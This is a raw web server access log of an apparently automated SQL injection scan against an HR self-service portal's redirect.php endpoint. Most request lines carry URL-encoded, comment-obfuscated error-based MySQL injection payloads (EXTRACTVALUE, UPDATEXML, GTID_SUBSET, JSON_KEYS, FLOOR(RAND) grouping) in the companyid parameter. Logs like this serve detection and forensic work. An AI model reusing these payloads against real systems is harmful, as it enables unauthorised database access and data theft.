100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x504d4b70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b64776a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FTL5f&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x495a6531%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x394d5a49%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FmQY3&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x495a6531%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x394d5a49%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FmQY3&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x75704c58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x685a6a5a%29%29x%29%29%23%2F%2A%2A%2F3hob&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x416b6c55%2C%28NULL%29%2C0x30794e61%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FCqGN%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x64735379%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f30346f%29%29%2C1%29%23%2F%2A%2A%2FZ4Pm&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x374d4943%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e333534%29%29x%29%29%23%2F%2A%2A%2FBi4m&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x7a7a5136%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e534869%29%2C6420%29%23%2F%2A%2A%2Fl2hh&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x7a7a5136%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e534869%29%2C6420%29%23%2F%2A%2A%2Fl2hh&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4b576861%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x446a6e70%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FyM3w&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x627a6161%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x784e5179%29%29%2C1%29%23%2F%2A%2A%2F5Gp9&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x30524767%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7770706a%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FLRqR&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6c623457%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57337975%29%2C5431%29%23%2F%2A%2A%2Fs9aH&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6c623457%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57337975%29%2C5431%29%23%2F%2A%2A%2Fs9aH&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x707a3345%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39724533%29%2C6420%29%23%2F%2A%2A%2FVnT3&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x707a3345%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39724533%29%2C6420%29%23%2F%2A%2A%2FVnT3&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x556e464c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43684379%29%29%23%2F%2A%2A%2Fgxa6&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x556e464c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43684379%29%29%23%2F%2A%2A%2Fgxa6&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x5369626f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a4b4f48%29%29%23%2F%2A%2A%2FVCb6&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x5369626f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a4b4f48%29%29%23%2F%2A%2A%2FVCb6&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6a303477%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74696459%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2Fk6S6&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x78725a71%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e7a4957%29%2C5431%29%23%2F%2A%2A%2Ff5jg&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x78725a71%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e7a4957%29%2C5431%29%23%2F%2A%2A%2Ff5jg&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6a37336d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4c304e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FmpkT&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x59626164%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x654b5443%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FxaCP&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x504d4b70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b64776a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FTL5f&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
